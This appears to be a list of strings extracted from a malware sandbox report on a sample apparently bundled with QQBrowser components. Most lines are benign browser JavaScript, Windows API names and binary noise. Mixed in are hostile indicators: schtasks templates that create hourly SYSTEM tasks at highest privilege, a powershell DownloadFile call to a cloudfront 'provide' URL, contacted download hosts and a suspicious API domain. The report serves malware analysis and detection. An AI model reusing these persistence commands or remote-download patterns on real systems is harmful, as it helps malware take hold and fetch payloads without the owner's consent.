condition A condition to check for truthiness. Note that this * may be used to test whether a value is defined or not, and we don't want * to force a cast to Boolean. * @param {string=} opt_message A message to show on failure. * @return {T} A no
Ansi based on Runtime Data (CPK.exe )
Configuring PMC collection...
Unicode based on Dropped File (ttttt.exe.179545488)
constructor(element) { this.element_ = element; this.element_.addEventListener( 'touchstart', this.onTouchStart_.bind(this), { passive: false }); this.element_.addEventListener( 'touchmove', this.onTouch_.bind(this), { passive: tr
Ansi based on Runtime Data (CPK.exe )
container"> <paper-button class="cancel-button" on-tap="cancel_" id="cancel"> $i18n{cancel}</paper-button> <paper-button id="actionButton" class="action-button" on-tap="onActionButtonTap_"> [[actionButtonText_]
Ansi based on Runtime Data (CPK.exe )
convertEffectInput=function(c){var f=a.normalizeKeyframes(c),g=d(f),h=e(g);return function(a,c){if(null!=c)h.filter(function(a){return c>=a.applyFrom&&c<a.applyTo}).forEach(function(d){var e=c-d.startOffset,f=d.endOffset-d.startOffset,g=0==f?0:d.easingFunction
Ansi based on Runtime Data (CPK.exe )
ConvertSecurityDescriptorToStringSecurityDescriptorW
Ansi based on Dropped File (ttttt.exe.179545488)
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Copyright (C) 1997-2014 Mark Russinovich
Ansi based on Dropped File (hhhhh.exe.655875088)
Could not start logger: %sOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
CPK.exe
Unicode based on Runtime Data (rundll32.exe )
CQ"@?;8%{D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CrCO/JFk!|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
Creates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
crosoft Corporation. All rights reserved.
Unicode based on Dropped File (ttttt.exe.179545488)
cssBackground CSS * background ticket item. * @param {!print_preview.ticket_items.SelectionOnly} selectionOnly Selection * only ticket item. * @param {!print_preview.ticket_items.HeaderFooter} headerFooter Header * footer ticket ite
Ansi based on Runtime Data (CPK.exe )
cter range, such as [b-a] in most encodings.
Ansi based on Dropped File (MIO.dll.1862922135)
ction modifyNtpDesignForIcons() { NTP_DESIGN.fakeboxWingSize = 132; NTP_DESIGN.mainClass = 'icon-ntp'; NTP_DESIGN.numTitleLines = 2; NTP_DESIGN.showFavicon = false; NTP_DESIGN.thumbnailFallback = null; NTP_DESIGN.tileWidth = 48 + 2 * 18; NTP_DESI
Ansi based on Runtime Data (CPK.exe )
ction(e){var br=this.canvas_.getBoundingClientRect();return[this.pixelRatio_*(e.clientX-this.canvas_.offsetLeft-br.left),this.pixelRatio_*(e.clientY-this.canvas_.offsetTop-br.top)];},onSelectionUpdate_:function(e){var mousePos=this.extractRelativeMousePosition
Ansi based on Runtime Data (CPK.exe )
ction=%s.install.init
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cts=[];}Region.fromArray=function(array){if(array.length%4!==0)throw new Error('Array must consist be a multiple of 4 in length');var r=new Region();for(var i=0;i<array.length;i+=4){r.rects.push(tr.b.Rect.fromXYWH(array[i],array[i+1],array[i+2],array[i+3]));
Ansi based on Runtime Data (CPK.exe )
ct|g\`.f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CurrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
C{PX~/m9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d)' * label prefix. * @return {string} The category description. * @protected */ computeCategoryDesc: function(category, setting, showRecommendation) { var categoryEnabled = this.computeIsSettingEnabled(setting); switch (category) {
Ansi based on Runtime Data (CPK.exe )
D+HS@'8\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d1cik3fvaz5q0e.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d2hrpnfyb3wv3k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&
Unicode based on Runtime Data (powershell.exe )
d34cz67a0qhhno.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3gacmsp3jwwnv.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3i1asoswufp5k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d4c04g24ci6x7.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d:\beyond_buildbot\branch_slave\svn_dir\build\bin\pdb\Release\QQBrowser.pdb
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
D:\git\SysInternals\ProcExp\Sys\Win32\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
D:\git\SysInternals\ProcExp\Sys\x64\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
D@'.9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
datareportfile
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
dc44qjwal3p07.cloudfront.net
Ansi based on PCAP Processing (PCAP)
de=(!skipHidden||this.revealed)?this.children[0]:null;if(node&&(!skipHidden||this.expanded)){if(info)info.depthChange=1;return node;}if(this===stayWithin)return null;node=(!skipHidden||this.revealed)?this.nextSibling:null;if(node)return node;node=this;
Ansi based on Runtime Data (CPK.exe )
de\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
delete[]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dfrs12kz9qye2.cloudfront.net
Ansi based on PCAP Processing (PCAP)
DHVAq]M(|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dhxx2phjrf4w5.cloudfront.net
Ansi based on PCAP Processing (PCAP)
DisableLocalOverride
Unicode based on Runtime Data (rundll32.exe )
DisablePassport
Unicode based on Runtime Data (QQBrowser.exe )
DisplayScriptDownloadFailureUI
Unicode based on Runtime Data (QQBrowser.exe )
dK/O[~/%3x7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Do you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
dow-split-widget.vbox.shadow-split-widget-first-is-sidebar > .shadow-split-widget-sidebar:not(.maximized) {\n border: 0;\n border-bottom: 1px solid rgb(64%, 64%, 64%);\n}\n\n.shadow-split-widget.hbox > .shadow-split-widget-sidebar:not(.maximized) {\n
Ansi based on Runtime Data (CPK.exe )
e /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
e = opt_type || 'favicon'; return getImageSet( 'chrome://' + type + '/size/' + size + '@scalefactorx/' + // Note: Literal 'iconurl' must match |kIconURLParameter| in // components/favicon_base/favicon_url_parser.cc. (FAVICO
Ansi based on Runtime Data (CPK.exe )
e from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (MIO.dll.1862922135)
e(data)); } catch(e) { var container = $('log-container'); container.textContent = 'No log entries'; } }; /** * Requests a log update. */ var requestLog = function() { chrome.send('DeviceLog.getLog'); }; /** * Sets
Ansi based on Runtime Data (CPK.exe )
E(m.]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e*&3):q.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E*n!#{Wl?0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e. This // skips validation and calls the callback directly. if (callback) callback(response); }); // Also convert complex permissions back to objects for events. The // dispatchToListener call happens after argument vali
Ansi based on Runtime Data (CPK.exe )
E:\code\PsTask\Ps_Install\Release\psi.pdb
Ansi based on Dropped File (psi.dll.1283195511)
E:\code\UAC\UAC_CODE\Release\CC.pdb
Ansi based on Dropped File (UAC.dll.626400535)
e;for(var object of snapshotInstances[0].snapshots)snapshots.push(object.args.processes);}return snapshots;}function getProcessSumsFromSnapshot(snapshot){var processSums=new Map();for(var processData of snapshot){var processName=processData.name;if(!(proces
Ansi based on Runtime Data (CPK.exe )
e;this._callsPendingOpen=[];this._pendingReads=[];Bindings.TempFile.create(dirPath,name).then(this._didCreateTempFile.bind(this),this._failedToCreateTempFile.bind(this));}write(strings,callback){if(this._finishCallback)throw new Error('No writes are allowe
Ansi based on Runtime Data (CPK.exe )
e=isEditingName;if(!isEditingName){this.disableDefaultSuggestionForEmptyInput();if(treeElement&&treeElement.valueElement){var cssValueText=treeElement.valueElement.textContent;if(cssValueText.match(/#[\da-f]{3,6}$/i)){this.setTitle(Common.UIString('Increment/d
Ansi based on Runtime Data (CPK.exe )
E\Nv.M# _+l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E`PK1{@+O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eCaller: can only get memory of a memory zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eChild('div','content');if(showTimer){var timeLine=this.contentElement.createChild('div','status-dialog-line time');timeLine.createChild('div','label').textContent=Common.UIString('Time');this._time=timeLine.createChild('div','content');}var progressLine=thi
Ansi based on Runtime Data (CPK.exe )
ector === hostScope + ' > *.' + hostScope || parsedSelector.indexOf('html') !== -1;isHost = !isRoot && parsedSelector.indexOf(hostScope) === 0;}if (cssBuild === 'shadow') {isRoot = parsedSelector === ':host > *' || parsedSelector === 'html';isHost = isHos
Ansi based on Runtime Data (CPK.exe )
ed'))){errorCallback('Protocol Error: Optional callback argument for method \''+method+'\' call must be a function but its type is \''+typeof args[0]+'\'.');return null;}if(args.length>1){errorCallback('Protocol Error: Extra '+args.length+' arguments in a ca
Ansi based on Runtime Data (CPK.exe )
eDescriptor(UI.KeyboardShortcut.Keys.Space,UI.KeyboardShortcut.Modifiers.Ctrl)],IncreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI.KeyboardShortcut.Keys.Up,UI.KeyboardShortcut.Modifiers.Alt)],DecreaseCSSUnitByOne:[UI.KeyboardShortcut.makeDescriptor(UI
Ansi based on Runtime Data (CPK.exe )
eeded.call(this);}_tagNameEditingCommitted(element,newText,oldText,tagName,moveDirection){delete this._editing;var self=this;function cancel(){var closingTagElement=self._distinctClosingTagElement();if(closingTagElement)closingTagElement.textContent='</'+t
Ansi based on Runtime Data (CPK.exe )
EfgQ@#@"Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ejHEA`/=]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el"}.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
elete correctly. See also // deleteItemAtIndex() in password_manager_list.js that uses this. entry[options.passwordManager.ORIGINAL_INDEX_FIELD] = index; return true; } return false; }; en
Ansi based on Runtime Data (CPK.exe )
emInfo) { request.sendReport(useSystemInfo); }; // Observe when the window is closed. appWindow.onClosed.addListener(function() { request.onWindowClosed(); }); });}chrome.runtime.onMessage.addListen
Ansi based on Runtime Data (CPK.exe )
emoveDecoration(this._decoration,lineNumber);this._hasDecoration=false;}uniqueMessagesCount(){return this._messages.length;}addMessage(message){for(var i=0;i<this._messages.length;++i){var rowMessage=this._messages[i];if(rowMessage.message().isEqual(messag
Ansi based on Runtime Data (CPK.exe )
empt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Dropped File (MIO.dll.1862922135)
Enabling %s (Flags = 0x%.8x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
Enabling %s (MatchAny = 0x%I64x MatchAll = 0x%I64x Level = %-3d) to logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
eName?opt_baseTypeName:name;this.name=name;this.creationTs=creationTs;this.creationTsWasExplicit=false;this.deletionTs=Number.MAX_VALUE;this.deletionTsWasExplicit=false;this.colorId=0;this.bounds=new tr.b.Range();this.snapshots=[];this.hasImplicitSnapshots=fal
Ansi based on Runtime Data (CPK.exe )
eNumber-b.lineNumber;}progress.worked(1);var matches=[];var queries=this._searchConfig.queries();if(content!==null){for(var i=0;i<queries.length;++i){var nextMatches=Common.ContentProvider.performSearchInContent(content,queries[i],!this._searchConfig.ignoreC
Ansi based on Runtime Data (CPK.exe )
EnumSystemLocalesEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EnumSystemLocalesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
er')||!event.hasOwnProperty('cpu')||!event.hasOwnProperty('ts')||!event.hasOwnProperty('payload')){return false;}var timestamp=this.importTimestamp(event.ts);var header={guid:event.guid,opcode:event.op,version:event.ver,cpu:event.cpu,timestamp:timestamp,is64:
Ansi based on Runtime Data (CPK.exe )
ER: case AnchorType.BEFORE: // align top edges if (anchorRect.top + popupRect.height <= availRect.height) { style.top = anchorRect.top + 'px'; // align bottom edges } else if (anchorRect.bottom - popupRect.heigh
Ansi based on Runtime Data (CPK.exe )
erBound',{value:function(object,comparator,left,right){function defaultComparator(a,b){return a<b?-1:(a>b?1:0);}comparator=comparator||defaultComparator;var l=left||0;var r=right!==undefined?right:this.length;while(l<r){var m=(l+r)>>1;if(comparator(object,th
Ansi based on Runtime Data (CPK.exe )
Error closing handle:
Ansi based on Dropped File (hhhhh.exe.655875088)
Error obtaining handle information:
Ansi based on Dropped File (hhhhh.exe.655875088)
error) { return map[error.severity].weight > map[prev].weight ? error.severity : prev; }, extension.manifestErrors.length ? Level.WARN : Level.LOG); // Adjust the class on the icon. var icon = item.querySelecto
Ansi based on Runtime Data (CPK.exe )
Error: %s filter is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: %s is invalid.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to enable preservationOperation Status: %uL%ws
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to set profile interval
Ansi based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Relative App Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Log File Name too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Logger Name is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Logger not startedOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s filters are specified.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s Filters.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: no action specified
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No guids were given for enable/disable.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: Profiling not supported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Unrecognized profile source %ws
Ansi based on Dropped File (ttttt.exe.179545488)
estions(suggestions) { this.dataModel = new ArrayDataModel(suggestions); this.hidden = !this.targetInput_ || suggestions.length == 0; }, /** * Requests new suggestions. Called when new suggestions are needed. * @param {string} qu
Ansi based on Runtime Data (CPK.exe )
etFileMetadata as a table. * @param {Array} list of dictionaries containing 'extensionName', * 'extensionID', 'status'. */FileMetadata.onGetExtensions = function(extensionStatuses) { var select = $('extensions-select'); // Record existing drop dow
Ansi based on Runtime Data (CPK.exe )
EtPd1`79.0$}v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eturn this.parseForIn(node,_init);return this.parseFor(node,_init);}var refShorthandDefaultPos={start:0};var init=this.parseExpression(true,refShorthandDefaultPos);if(this.type===_tokentype.types._in||this.options.ecmaVersion>=6&&this.isContextual("of")){thi
Ansi based on Runtime Data (CPK.exe )
ev4R;=m)}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Evaluate);return parentElement;},node:function(expression,evaluateOptions){var parentElement=createElement('div');this.evaluate(expression,evaluateOptions,onEvaluate);function onEvaluate(remoteObject){Common.Renderer.renderPromise(remoteObject).then(appendRend
Ansi based on Runtime Data (CPK.exe )
Event(new Event('error'));}}else{list[link.href]=link;optAsync=Boolean(optAsync);if(optAsync){link.setAttribute('async','');}document.head.appendChild(link);}return imprt;},create:function(tag,props){var elt=document.createElement(tag);if(props){for(var n in
Ansi based on Runtime Data (CPK.exe )
Events_: function() { var ccNumber = $('credit-card-number'); $('name-on-card').oninput = ccNumber.oninput = $('expiration-month').onchange = $('expiration-year').onchange = this.inputFieldChanged_.bind(this); }, /*
Ansi based on Runtime Data (CPK.exe )
Exception calling "DownloadFile" with "2" argument(s): "The operation has timed
Unicode based on Runtime Data (powershell.exe )
Exception calling "DownloadFile" with "2" argument(s): "The remote server retur
Unicode based on Runtime Data (powershell.exe )
executable format error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Explorer
Unicode based on Dropped File (hhhhh.exe.655875088)
Export
Unicode based on Runtime Data (QQBrowser.exe )
extElement = menu.contextElement; menu.contextElement = null; this.showingEvents_.removeAll(); menu.selectedIndex = -1; this.menu_ = null; // On windows we might hide the menu in a right mouse button up and if // that is th
Ansi based on Runtime Data (CPK.exe )
extTab=string.length;var skipped=nextTab-pos;if(nextTab==string.length||col+skipped>=goal)return pos+Math.min(skipped,goal-col);col+=nextTab-pos;col+=tabSize-(col%tabSize);pos=nextTab+1;if(col>=goal)return pos;}}var spaceStrs=[""];function spaceStr(n){whil
Ansi based on Runtime Data (CPK.exe )
f']W[1N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F.oL3>~'o)u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f/um.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F0_68D4BF001DAA$C__D074D0C0C7484E73B56CCBE982E1B36C>2TARGETDIRDefaultFeature_4F7C52A1359542BDA50BB0AB1C55EC36{0AC13018-8CAB-1980-CE61-24A7329F7A42}C__4F7C52A1359542BDA50BB0AB1C55EC3610334.0.2.1SNARE64.DLL|Snare64.dll{30028030-F7D9-5AE0-0739-61B1B907CF28}C__D07
Ansi based on Runtime Data (rundll32.exe )
F7)}??O?#U
Ansi based on Runtime Data (rundll32.exe )
f9]x<@tNF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f@/*8Eb@O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F@kb:'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to get current directory
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to get source id for %ws
Ansi based on Dropped File (ttttt.exe.179545488)
ffset){var newSelection=new tr.model.EventSet();for(var event of selection){if(event instanceof tr.model.FlowEvent){if(offset>0){newSelection.push(event.endSlice);}else if(offset<0){newSelection.push(event.startSlice);}else{}continue;}var track=this.trackFor
Ansi based on Runtime Data (CPK.exe )
fhyqJDxA4YvBgtDWzOYypy1xr922JWEkEElaEEEZkNB7SqmPiet8aYdHTa/mJOjIwhqB0aVip8isz+eRRYAZhfmpOWIyddffx1xcoKZPmFCTVeuXBmzNagTHmIyPh7jjP5rE0outcNjJ4SUqXrni0KpqgcuQQWmMmet8a8d1Hgo1vXzwrmWAN8EQ9tRmJQbHLXGm3ZI7D4BHQWHIKgdCG2W3lHOQZmkt4+20roWnDaoqirjqEBT3LYW/RBaLrXDBsZDv
Ansi based on Runtime Data (CPK.exe )
fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
FileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
fill-opacity: 0.2;\n}\n\nsvg.animation-ui g:first-child:hover path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\n.animation-node-selected path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\nline.animation-line {\n stroke-width: 2px;\n stroke-lin
Ansi based on Runtime Data (CPK.exe )
filter with <n> Pids (maximum 8 allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
firefox.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
FiU(\J><>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fixed; right: 0; bottom: 0; left: 0; }; --layout-fixed-left: { position: fixed; top: 0; bottom: 0; left: 0; }; }</style>/** Polymer.IronFormElementBehavior enables a custom element to be included
Ansi based on Runtime Data (CPK.exe )
font-weight: bold;}.action-box-remove-user-warning-table-nonsync { border-spacing: 0; width: 100%;}.action-box-remove-user-warning-table td { padding: 0;}.action-box-remove-user-warning-table-numbers { color: #757575; text-align: end;}/*
Ansi based on Runtime Data (CPK.exe )
from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ftMouseButton(e)) {this.save(e);}},click: function (e) {if (hasLeftMouseButton(e)) {this.forward(e);}},touchstart: function (e) {this.save(e.changedTouches[0], e);},touchend: function (e) {this.forward(e.changedTouches[0], e);},forward: function
Ansi based on Runtime Data (CPK.exe )
FTN(`:Hrh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
function not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
function(text) { // Trim beginning and ending whitespace. return text.replace(/^\s+|\s+$/g, ''); }; // Export return { SearchPage: SearchPage };});// Copyright (c) 2012 The Chromium Authors. All rights reserved.// Use of this source
Ansi based on Runtime Data (CPK.exe )
function_call@std@@
Ansi based on Runtime Data (rundll32.exe )
f}fzE&A[u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G!j"B_H!,:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g-%ORX:}em
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g:&0mI}C+_fL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G; var autofillSynced = syncAll || $('autofill-checkbox').checked; var result = JSON.stringify({ 'syncAllDataTypes': syncAll, 'bookmarksSynced': syncAll || $('bookmarks-checkbox').checked, 'preferencesSynced': syncAll || $('
Ansi based on Runtime Data (CPK.exe )
G;TI!1\6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g;UI.Widget._originalAppendChild.call(document.body,this.element);this.element.positionAt(0,0);var result=new Size(this.element.offsetWidth,this.element.offsetHeight);this.element.positionAt(undefined,undefined);if(oldParent)UI.Widget._originalInsertBefore.c
Ansi based on Runtime Data (CPK.exe )
G[1{& o4a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g^^qt67pt7(!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ge-item" path="history" on-click="onItemClick_"> $i18n{historyMenuItem} <paper-ripple></paper-ripple> </a> <a href="/syncedTabs" class="page-item" path="syncedTabs" on-click="onItemClick_"> $i18n{openTabsMenuItem} <p
Ansi based on Runtime Data (CPK.exe )
Generate Local Sequence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
GetAdaptersAddresses
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
GetCommandLineA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCommandLineW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
GetConsoleScreenBufferInfo
Ansi based on Dropped File (hhhhh.exe.655875088)
GetCPInfo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessorNumber
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileInformationByHandleExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileVersionInfoExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoSizeExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoSizeW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetFileVersionInfoW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetLastError
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocalTime
Ansi based on Dropped File (psi.dll.1283195511)
GetLogicalProcessorInformation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcAddress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessHeap
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessTimes
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetProcessUserModeExceptionPolicy
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
GetProcessWindowStation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStartupInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTimeZoneInformation
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTokenInformation
Ansi based on Dropped File (hhhhh.exe.655875088)
GetUserDefaultLocaleName
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserObjectInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetVersion
Ansi based on Dropped File (hhhhh.exe.655875088)
GetVersionExW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
GetVolumeInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gle as part of the polymer project is alsosubject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt--> @licenseCopyright (c) 2015 The Polymer Project Authors. All rights reserved.This code may only be used under the BSD sty
Ansi based on Runtime Data (CPK.exe )
gY}.}VL~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h > 0" class="hlisting"> <tr><td jsselect="file_extensions"> <span dir="ltr" jscontent="'.' + $this"> </td></tr> </table>
Ansi based on Runtime Data (CPK.exe )
h$@ssJc6b!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h/;A)7H?Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-7 12h-2v-2h2v2zm0-4h-2V6h2v4z"/></g><g id="sync"><path d="M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8zm0 14c-3.31 0-6-2
Ansi based on Runtime Data (CPK.exe )
h6./Q6MTu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HAL.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle closed.
Ansi based on Dropped File (hhhhh.exe.655875088)
hell.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
help subpage-title-extra" is="paper-icon-button-light" on-tap="onHelpTap_"></button> <site-settings-category selected-site="{{selectedSite}}" category="{{ContentSettingsTypes.JAVASCRIPT}}"> </site-s
Ansi based on Runtime Data (CPK.exe )
HH:mm:ss
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
his.contentURL(),this.contentType(),lazyContent);}return this._originalContentProvider;}setSourceMapURL(sourceMapURL){var completeSourceMapURL=this.sourceURL&&sourceMapURL?Common.ParsedURL.completeURL(this.sourceURL,sourceMapURL):sourceMapURL;this.sourceMa
Ansi based on Runtime Data (CPK.exe )
HK:lJTC":NyG
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
hromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */body { font-size: 80%;}button { display: block; font-size: 110%; font-weight: bold; margin: 10px aut
Ansi based on Runtime Data (CPK.exe )
htasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
http://api.suibianmaimaicom.com/
Ansi based on Dropped File (MIO.dll.1862922135)
